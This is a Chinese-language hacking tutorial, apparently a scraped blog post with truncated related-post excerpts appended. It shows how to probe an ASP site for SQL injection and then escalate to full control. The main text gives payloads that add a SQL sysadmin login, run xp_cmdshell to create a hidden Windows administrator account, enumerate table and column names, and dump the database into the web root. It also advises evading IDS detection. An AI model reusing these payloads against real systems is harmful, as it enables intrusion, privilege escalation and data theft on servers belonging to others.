在乙個供求資訊發布的**上測試了一下,頁面
我做了如下測試:(1) 』
microsoft ole db provider for odbc drivers 錯誤 '80040e14
[microsoft][odbc microsoft access driver] 字串的語法錯誤
在查詢表示式 'id=49'' 中。
/new.asp,行36
(2) and 1=1
(正常返回頁面)
(3) and 1=2
microsoft ole db provider for odbc drivers 錯誤 '800a0bcd'
bof 或 eof 中有乙個是「真」,或者當前的記錄已被刪除,所需的操作要求乙個當前的記錄。
/new.asp,行42
注:上面的測試已經可以看出有sql注入的機會,我們用下面乙個句子來判斷他資料庫型別和登陸身份。
and user>0
microsoft ole db provider for odbc drivers 錯誤 '800a0bcd'
將nvarchar值 」dbo」 轉換資料型別為 int 的列時發生語法錯誤
/new.asp,行42
注:如果顯示「dbo」 轉換資料型別為 int 的列時發生語法錯誤 那麼就可以用我下面介紹的方法來獲得系統管理許可權,如果是「abc」 轉換資料型別為 int 的列時發生語法錯誤 那麼就用不能用我下面的介紹來獲得系統許可權了。
獲得以上資訊後,就可以提交以下url來一步一步的獲得sql管理員許可權和系統許可權了。
(1) ;exec
aster.dbo.sp_addlogin fmzm;--
新增sql使用者
(2) ;exec master.dbo.sp_password null,fmzm,fmzm;--
設定sql帳號fmzm 的密碼為 fmzm
(3) ;exec master.dbo.sp_addsrvrolemember sysadmin fmzm;--
提公升許可權:加fmzm進sysadmin管理組(有時候會不成功,就常識下面的句子
;exec master.dbo.sp_addsrvrolemember fmzm,sysadmin-- 為什麼會這樣,我也不清清楚,我就遇到了?栽 。。。)
(4) ;exec master.dbo.xp_cmdshell 'net user fmzm fmzm /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add';--
建立乙個系統用fmzm 並設定其密碼為fmzm
(注:/workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes 這些很關鍵,如果不加這些,你建立的使用者很有可能無法登陸,這些是啟用你的帳號,並且使密碼永不過期的一些相關設定。)
(5) ;exec master.dbo.xp_cmdshell 'net localgroup administrators fmzm /add';--
把帳號fmzm加入到管理員組
ok,到此為止,已經得到了sql管理許可權和系統許可權了,還有什麼不能做的呢?把上面的句子變個形 開個telnet,或者用sql聯結器去連線,隨便你怎麼整了,記得別暴露自己哦 :)目前有些好的ids已經開始監視xp_cmdshell這些關鍵字了.
附:(1) http://site/url.asp?id=1 ;;and db_name()>0
前面有個類似的例子and user>0,作用是獲取連線使用者名稱,db_name()是另乙個系統變數,返回的是連線的資料庫名。
(2) http://site/url.asp?id=1;backup database 資料庫名 to disk=』c:/inetpub/wwwroot/1.db』;--
sysobjects是sqlserver的系統表,儲存著所有的表名、檢視、約束及其它物件,xtype=』u』 and status>0,表示使用者建立的表名,上面的語句將第乙個表名取出,與0比較大小,讓報錯資訊把表名暴露出來。第
二、第三個表名怎麼獲取?還是可以
自己考慮下。
(4) http://site/url.asp?id=1 ;;and (select top 1 col_name(object_id(『表名』),1) from sysobjects)>0
從(3)拿到表名後,用object_id(『表名』)獲取表名對應的內部id,col_name(表名id,1)代表該錶的第1個欄位名,將1換成2,3,4...就可以逐個獲取所猜解表裡面的欄位名。
sql注入攻擊
使用者可以利用向php表單輸入的資料完成對mysql的注入攻擊。例如我的查詢是 insert table into xx values 使用者名稱 號碼 檔案 0 在使用者輸入時最後一位只能是0.使用者不需要輸入 這時使用者在號碼處輸入 10000 x.gif.1 雙連字元後加乙個空格是sql的注釋...
sql注入攻擊
簡單判斷是否有漏 www.abc.asp?id 1,www.abc.asp?id 1 and 1 1 kali 檢視所有的資料庫 sqlmap u www.abc.asp?id 1 dbs current user 是否有漏洞會有相應資訊 檢視所有的表 sqlmap u www.abc.asp?id...
jsp如何防範sql注入攻擊
上週給別人做了個 無意間發現自己的作品有很多漏洞,在短短的20秒就被自己用sql注入法給幹了。所以查了一點關於sql注入的資料,並且有點感悟,希望能與新手們分享一下。高手們見笑了!sql注入攻擊的總體思路 發現sql注入位置 判斷伺服器型別和後台資料庫型別 確定可執 況 對於有些攻擊者而言,一般會採...